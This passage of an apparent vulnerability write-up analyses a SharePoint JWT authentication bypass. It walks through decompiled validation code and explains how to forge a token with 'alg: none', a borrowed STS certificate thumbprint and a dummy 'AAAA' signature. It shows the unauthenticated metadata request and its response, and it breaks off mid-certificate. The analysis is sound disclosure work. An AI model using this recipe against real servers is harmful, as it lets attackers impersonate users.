data-type='inlineCode'>SPJsonWebSecurityTokenHandlerV2.ValidateToken()</span></span><span style='font-size: undefined;'>. The debugger call stack below shows the call stack at the time of calling </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ValidateToken</span></span><span style='font-size: undefined;'>.</span></p><p></p><pre language="html">Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPJsonWebSecurityTokenHandlerV2.ValidateToken(System.IdentityModel.Tokens.SecurityToken token) (IL=0x01BC, Native=0x00007FFC730AA430+0x4A2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(System.Web.HttpContext httpContext, out Microsoft.SharePoint.IdentityModel.SPIncomingTokenContextV2 tokenContext, out Microsoft.SharePoint.IdentityModel.SPIdentityProofToken identityProofToken) (IL=???, Native=0x00007FFC730A2A70+0x9FB)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.ConstructIClaimsPrincipalAndSetThreadIdentity(System.Web.HttpApplication httpApplication, System.Web.HttpContext httpContext, Microsoft.SharePoint.IdentityModel.SPFederationAuthenticationModuleV2 fam, out string tokenType) (IL≈0x0041, Native=0x00007FFC730A1860+0xB2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.AuthenticateRequest(object sender, System.EventArgs e) (IL≈0x0139, Native=0x00007FFC7196F9D0+0x3E4)
 	System.Web.dll!System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() (IL=0x005D, Native=0x00007FFC71846AE0+0xD1)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStepImpl(System.Web.HttpApplication.IExecutionStep step) (IL=epilog, Native=0x00007FFC71846A00+0xB6)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStep(System.Web.HttpApplication.IExecutionStep step, ref bool completedSynchronously) (IL≈0x0015, Native=0x00007FFC71846640+0x5E)
 	System.Web.dll!System.Web.HttpApplication.PipelineStepManager.ResumeSteps(System.Exception error) (IL≈0x027A, Native=0x00007FFC71842E00+0x77A)
 	System.Web.dll!System.Web.HttpApplication.BeginProcessRequestNotification(System.Web.HttpContext context, System.AsyncCallback cb) (IL=0x0031, Native=0x00007FFC71842D50+0x83)
 	System.Web.dll!System.Web.HttpRuntime.ProcessRequestNotificationPrivate(System.Web.Hosting.IIS7WorkerRequest wr, System.Web.HttpContext context) (IL≈0x00B0, Native=0x00007FFC7183C7A0+0x1D3)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0131, Native=0x00007FFC7183A4E0+0x41A)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Managed to Native Transition]
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x01E7, Native=0x00007FFC7183A4E0+0x4C1)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Appdomain Transition]</pre><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Weakness 1: RequireSignedTokens disabled</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The first and most fundamental weakness is in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SPJsonWebSecurityTokenHandlerV2.ValidateToken()</span></span><span style='font-size: undefined;'>. When constructing the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TokenValidationParameters</span></span><span style='font-size: undefined;'> for the underlying </span><span style='font-size: undefined;'><span data-type='inlineCode'>Microsoft.IdentityModel</span></span><span style='font-size: undefined;'> JWT library, the code explicitly disables signature requirements:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="csharp">// SPJsonWebSecurityTokenHandlerV2.cs - ValidateToken() - Line 212
val.RequireSignedTokens = false;</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>This single line disables the JWT library's cryptographic signature verification. When </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>RequireSignedTokens</span></span><span style='font-size: undefined;'> is </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>false</span></span><span style='font-size: undefined;'>, the library accepts tokens with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>alg: none</span></span><span style='font-size: undefined;'> in the header, meaning no signature is required on the outer token at all. The library still parses the JWT and populates claims, but never performs any cryptographic verification of the outer token.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The full context of the method:</span></p><p></p><pre language="csharp">// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection&lt;ClaimsIdentity&gt; ValidateToken(SecurityToken token)
{
    // ...
    TokenValidationParameters val = new TokenValidationParameters();
    val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
    val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
    val.ValidateAudience = false; // &lt;--- [1]
    val.ValidateIssuer = false; // &lt;--- [2]
    List&lt;X509SecurityKey&gt; list = new List&lt;X509SecurityKey&gt;();
    // ... populates list with trusted signing keys ...
    val.IssuerSigningKeys = (IEnumerable&lt;SecurityKey&gt;)list;
    val.RequireSignedTokens = false; // &lt;--- [3]
    // ...
    SecurityToken securityToken = default(SecurityToken);
    return new ReadOnlyCollection&lt;ClaimsIdentity&gt;(
        ((JwtSecurityTokenHandler)this).ValidateToken(
            ((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
        ).Identities.ToList()
    );
}</pre><p></p><p><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'>, the built-in audience and issuer validation from the JWT library are also disabled, SharePoint implements its own validation logic in separate methods. At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'>, the critical </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>RequireSignedTokens = false</span></span><span style='font-size: undefined;'> is set. The resulting call to the base </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>JwtSecurityTokenHandler.ValidateToken()</span></span><span style='font-size: undefined;'> processes the JWT without verifying any cryptographic signature.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Weakness 2: Actor token x5t resolution without signature verification</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>After </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ReadToken()</span></span><span style='font-size: undefined;'> parses the JWT, SharePoint's custom validation code resolves the actor token's signing key using the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>x5t</span></span><span style='font-size: undefined;'> (X.509 certificate thumbprint) header. This occurs in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SPJsonWebSecurityBaseTokenHandlerV2</span></span><span style='font-size: undefined;'>:</span></p><p></p><pre language="csharp">// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 92-103
SecurityKeyIdentifier signingKeyIdentifier = GetSigningKeyIdentifier(sPJwtSecurityToken.ActorToken); // &lt;--- [1]
((SecurityTokenHandler)this).Configuration.IssuerTokenResolver.TryResolveToken(
    signingKeyIdentifier, out var token2); // &lt;--- [2]
if (token2 != null)
{
    ((JwtSecurityToken)sPJwtSecurityToken.ActorToken).SigningToken = token2; // &lt;--- [3]
}</pre><p></p><p><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'>, the call to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GetSigningKeyIdentifier</span></span><span style='font-size: undefined;'> extracts the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>x5t</span></span><span style='font-size: undefined;'> value directly from the actor token's JWT header:</span></p><p></p><pre language="csharp">// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
    JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
    // ...
    if (string.Equals(header.Alg, "RS256"))
    {
        if (!((Dictionary&lt;string, object&gt;)(object)header).TryGetValue("x5t", out object value))
        {
            throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
        }
        securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
            SPBase64UrlEncoder.DecodeBytes(value as string)); // &lt;--- attacker-controlled x5t
    }
    // ...
}</pre><p></p><p><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'>, the call to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SPIssuerTokenResolver.TryResolveTokenCore</span></span><span style='font-size: undefined;'> searches all trusted certificates, including SharePoint's own local Security Token Service (STS) signing certificate, for a thumbprint match:</span></p><p></p><pre language="csharp">// SPIssuerTokenResolver.cs - TryResolveTokenCore - Lines 118-142
protected override bool TryResolveTokenCore(SecurityKeyIdentifierClause keyIdentifierClause, out SecurityToken token)
{
    // ... searches TrustedLoginProviders, TrustedSecurityTokenServices ...
    if (TryResolveTokenCoreWithAccessProvider(local.LocalLoginProvider, keyIdentifierClause, out token)) // &lt;--- [4]
    {
        return true;
    }
    return false;
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[4]</span></span><span style='font-size: undefined;'>, the resolver checks the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>LocalLoginProvider</span></span><span style='font-size: undefined;'> access provider, SharePoint's own STS signing certificate, whose x509 certificate can be retrieved via the unauthenticated </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/_layouts/15/metadata/json/1</span></span><span style='font-size: undefined;'> endpoint. If an attacker sets the actor token's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>x5t</span></span><span style='font-size: undefined;'> header to the thumbprint of SharePoint's STS certificate, the resolver finds a match and returns an </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>X509SecurityToken</span></span><span style='font-size: undefined;'> wrapping that certificate. At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'>, this token is assigned to the actor token's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SigningToken</span></span><span style='font-size: undefined;'> property.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At no point in this flow is the actor token's signature (In our example we use the string </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>AAAA</span></span><span style='font-size: undefined;'> as a signature in a forged token) cryptographically verified against the resolved signing key. The code resolves the key from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>x5t</span></span><span style='font-size: undefined;'>, populates </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SigningToken</span></span><span style='font-size: undefined;'>, but never calls any signature verification function.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Weakness 3: Issuer validation accepts unregistered certificates</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>After setting the actor token's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SigningToken</span></span><span style='font-size: undefined;'>, the code proceeds to call </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ValidateIssuer(token)</span></span><span style='font-size: undefined;'>. For a token that contains an actor token </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SigningToken</span></span><span style='font-size: undefined;'> value (which we just achieved above), the logic in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ValidateIssuer</span></span><span style='font-size: undefined;'> takes the below path:</span></p><p></p><pre language="csharp">// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
    ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
    ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
                   ((JwtSecurityToken)token.ActorToken).Issuer);
    return;
}</pre><p></p><p><span style='font-size: undefined;'>This calls the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ValidateIssuer(X509SecurityToken, string)</span></span><span style='font-size: undefined;'> overload which accepts tokens signed by unregistered certificates:</span></p><p></p><pre language="csharp">// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
    // ...
    SPTrustedSecurityTokenService providerBySigningCertificate =
        SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
            .GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // &lt;--- [1]

    if (null == providerBySigningCertificate) // &lt;--- [2]
    {
        ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
            "no registered STS matches the signing certificate '{1}'",
            tokenIssuer, signingKey.Certificate.Subject);
        return; // &lt;--- ACCEPTED
    }
    if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
    {
        return;
    }
    throw new SecurityTokenException("Issuer name is not registered"); // &lt;--- REJECTED
}</pre><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'> above, the code searches the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TrustedSecurityTokenServices</span></span><span style='font-size: undefined;'> collection for a provider whose signing certificate matches. SharePoint's local STS signing certificate belongs to the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>LocalLoginProvider</span></span><span style='font-size: undefined;'> access provider, which is not in the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TrustedSecurityTokenServices</span></span><span style='font-size: undefined;'> collection. Therefore, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GetProviderBySigningCertificate</span></span><span style='font-size: undefined;'> returns </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>null</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'>, when the result is </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>null</span></span><span style='font-size: undefined;'>, the method accepts the issuer unconditionally and returns to the caller instead of throwing a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SecurityTokenException</span></span><span style='font-size: undefined;'> exception.</span></p><p><span style='font-size: undefined;'>The intent appears to be accepting tokens from certificates not explicitly registered, but the effect is that an attacker who references SharePoint's own STS certificate via </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>x5t</span></span><span style='font-size: undefined;'> passes issuer validation because that certificate is not found in the specific </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TrustedSecurityTokenServices</span></span><span style='font-size: undefined;'> collection being searched.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Weakness 4: GetTokenSignature non-cryptographic check</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The final validation step involves </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GetTokenSignature</span></span><span style='font-size: undefined;'>, which is called during session token construction. This method requires a non-empty signature but performs no cryptographic verification:</span></p><p></p><pre language="csharp">// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
	SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
	string rawData = ((JwtSecurityToken)jwtToken).RawData;
	if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
	{
		ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	string text = ((JwtSecurityToken)jwtToken).RawSignature;
	if (string.IsNullOrWhiteSpace(text))
	{
		text = rawData.Substring(rawData.LastIndexOf('.') + 1); // &lt;--- [1]
	}
	if (string.IsNullOrWhiteSpace(text))
	{
		if (jwtToken.ActorToken != null)
		{
			text = GetTokenSignature(jwtToken.ActorToken); // &lt;--- [2]
			StringBuilder stringBuilder = new StringBuilder();
			stringBuilder.Append(jwtToken.Audience);
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
			stringBuilder.Append(',');
			foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
			{
				stringBuilder.Append(claim.Value);
				stringBuilder.Append(',');
			}
			return stringBuilder?.ToString() + text; // &lt;--- [3]
		}
		ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	return text;
}</pre><p></p><p><span style='font-size: undefined;'>For the outer token with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>alg: none</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>RawSignature</span></span><span style='font-size: undefined;'> is empty (the JWT format is </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>header.payload</span></span><span style='color:rgb(24, 128, 56);font-size: undefined;'>.</span><span style='font-size: undefined;'> with nothing after the final dot). At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'>, extracting after the last dot yields an empty string. At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'>, the method recurses into the actor token. The actor token's signature is </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>AAAA</span></span><span style='font-size: undefined;'>, a non-empty string, so at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'> it returns </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>"AAAA"</span></span><span style='font-size: undefined;'> without any cryptographic verification that this value is a valid RSA signature.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Summary</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The four weaknesses combine as follows:</span></p><ol><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Attacker sends a JWT with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>alg: none</span></span><span style='font-size: undefined;'> in the outer header, so no signature is required in the outer token.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The actor token's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>x5t</span></span><span style='font-size: undefined;'> header contains SharePoint's own STS certificate thumbprint, allowing us to resolve a signing key with no verification.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The resolved certificate is not in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TrustedSecurityTokenServices</span></span><span style='font-size: undefined;'>, allowing the issuer to be accepted.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The actor token's signature is a non-empty value, e.g. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>AAAA</span></span><span style='font-size: undefined;'>, which is never verified.</span></p></li></ol><p style="direction: ltr;"><span style='font-size: undefined;'>After validation, the outer token's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>nameid</span></span><span style='font-size: undefined;'> claim, containing either an attacker controlled Windows Security Identifier (SID) or an attacker controlled User Principal Name (UPN), is resolved to a user identity via </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SPIncomingServerToServerProtocolIdentityHandlerV2.ValidateAndEnsureIdentity()</span></span><span style='font-size: undefined;'>. Alternatively a name id of </span><span style='font-size: undefined;'><span data-type='inlineCode'>0#.w|nt authority\local service</span></span><span style='font-size: undefined;'> can be used to identify as a known local service, through an </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>AccessToken</span></span><span style='font-size: undefined;'> identifier. Our testing showed identifying as a local service exposed less authenticated attack service than identifying via either a SID or UPN. </span></p><p><span style='font-size: undefined;'>Our PoC</span><a href="https://github.com/sfewer-r7/CVE-2026-55040" target="_blank"><span style='font-size: undefined;'> script</span></a><span style='font-size: undefined;'> shows examples of all three mechanisms working.</span></p><h2 style="direction: ltr;">Walkthrough</h2><p style="direction: ltr;"><span style='font-size: undefined;'>We can see a concrete example of the bypass in action by inspecting the HTTP requests required to achieve the authentication bypass.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In order to know the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>x5t</span></span><span style='font-size: undefined;'> value to use in the inner </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>actortoken</span></span><span style='font-size: undefined;'> token, we must first retrieve the x509 certificate of the STS signing certificate from the target SharePoint site. We can do this via an unauthenticated request to the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/_layouts/15/metadata/json/1</span></span><span style='font-size: undefined;'> URI. For example:</span></p><p></p><pre language="html">GET /_layouts/15/metadata/json/1 HTTP/1.1
Host: 192.168.86.11
User-Agent: curl/7.81.0
Accept: */*
</pre><p></p><p><span style='font-size: undefined;'>Which returns the STS signing certificate as part of the response:</span></p><p></p><pre language="html">HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
request-id: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"issuer":"00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde","keys":[{"keyValue":{"type":"x509certificate","value":"MIIEhzCCAm+gAwIBAgIQbgEQC4zI97pMh7WkdsMmtTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSIwIAYDVQQDExlTaGFyZVBvaW50IFJvb3QgQXV0aG9yaXR5MCAXDTI2MDMxMTIwMjY1M1oYDzk5OTkwMTAxMDAwMDAwWjBiMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSowKAYDVQQDEyFTaGFyZVBvaW50IFNlY3VyaXR5IFRva2VuIFNlcnZpY2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDY8RNv0VUdgmBubMAHYBI8nu1pWUwUDJywDIwKxgoLuu26Wd6tTMnk5Fb7kYVT+gw+wdW80DeOU\/9lAySKat+FESEuwoUKbJP1Kk6vbuvWyYofz91i9oCXXzqAR1AwNsMGr1nAszVRbPaTrcidomvT2DzQ4YBW2IGtDJEpXIcSrN4T5B4bNH+2rXk11vZHG7c31Y\/VuAwybLGndwSYoiT8aTOgnHsEB9jqZjipkinwnowhk1d6LsPawm6X+y8z7SqkVgMdqKVB5gAMECUedv0qGd2+AW\/2j8Dbk3NNW3XddCBye2wQP0GeioQjcveDK4U0n+3qJjOwG0Y4\/7Jex\/IVAgMBAAGjPzA9MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQsFAAOCAgEAPXw7TdU6U9ij28uirUm4oQk6Qtdx42G8JNkz44oF4s1ifaODLKqgXCViHRo0bJj3KAz1aSWUdld\/wrOw99tbxPme9sd8ilHN61fKjUPzl7NMyA85895FnA5J62sKcPjmusDHD1WjSYA+y47L\/I3qlUCL9nOPhqjHN4bEQYJV7c9X+9lmnK1QBmqtjQ+Dy8tie6B9XKvSZgb8clVc7pXeG3k4eqNqi8AtgLoW6UmT\/7tXzqotC9oyBmeA3Ucaj99HJ\/4zBN7cOjIL78xNYds8DIVEqGqZFL30uOvJnEecAmtHbMg5yX2oO0p11PSM+JVIiC7gWClfaZ0Ta0tLG5VdmX0wfzmxS+jBEFqvFUA3BFuClQeamKdvIBE7cFXG\/MujpCboiLP0qdZUhGUduFiy94vH0oxKQFZVLT62T4cNbMu0WGGOY67N8p9UKzUvLVis0FnR1nQvy4SJSdt4kBzUUA42z70v\/ACpzHLXsETil+MnGbTXMfEGVzl+s2+9Su4OpTtDe8AIMdDPoH8uaHklLF65FUPKa+aHGlTB9VPyYySC++PCIPIra\/uxjb21V+GBPU8YgbFsOiCNF36AcGakskieghg97EBHumzQuoPnnvCkkRr2\/xU59Yxw01eS42pfVNeJlXDGKwEtAiN1Fwkay2Ji7dq\/wXtFy5OsVBlerec="},"usage":"Signing"}],"name":"00000003-0000-0ff1-ce00-000000000000","serviceName":"00000003-0000-0ff1-ce00-000000000000"}</pre><p></p><p><span style='font-size: undefined;'>For completeness, the parsed x509 certificate is shown below.</span></p><p></p><pre language="html">Version:          3 (0x02)
Serial number:    146220597266833583330723281767636346549 (0x6e01100b8cc8f7ba4c87b5a476c326b5)
Algorithm ID:     SHA256withRSA
Validity
  Not Before:     11/03/2026 20:26:53 (dd-mm-yyyy hh:mm:ss) (260311202653Z)
  Not After:      01/01/9999 00:00:00 (dd-mm-yyyy hh:mm:ss) (99990101000000Z)
Issuer
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Root Authority
Subject
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Security Token Service
Fingerprints
  MD5:            8c72ddcf6fdf2bdf3cc173bfcff88bf4
  SHA1:           8bf833e6a7d8a7960f5802b5fffd188599e2a4b2
  SHA256:         9d8a6b787ca17ba72b44200d20d689fae33d13fb57fb166563d11e98d247068c
Public Key
  Algorithm:      RSA
  Length:         2048 bits
  Modulus:        d8:f1:13:6f:d1:55:1d:82:60:6e:6c:c0:07:60:12:3c:
                  9e:ed:69:59:4c:14:0c:9c:b0:0c:8c:0a:c6:0a:0b:ba:
                  ed:ba:59:de:ad:4c:c9:e4:e4:56:fb:91:85:53:fa:0c:
                  3e:c1:d5:bc:d0:37:8e:53:ff:65:03:24:8a:6a:df:85:
                  11:21:2e:c2:85:0a:6c:93:f5:2a:4e:af:6e:eb:d6:c9:
                  8a:1f:cf:dd:62:f6:80:97:5f:3a:80:47:50:30:36:c3:
                  06:af:59:c0:b3:35:51:6c:f6:93:ad:c8:9d:a2:6b:d3:
                  d8:3c:d0:e1:80:56:d8:81:ad:0c:91:29:5c:87:12:ac:
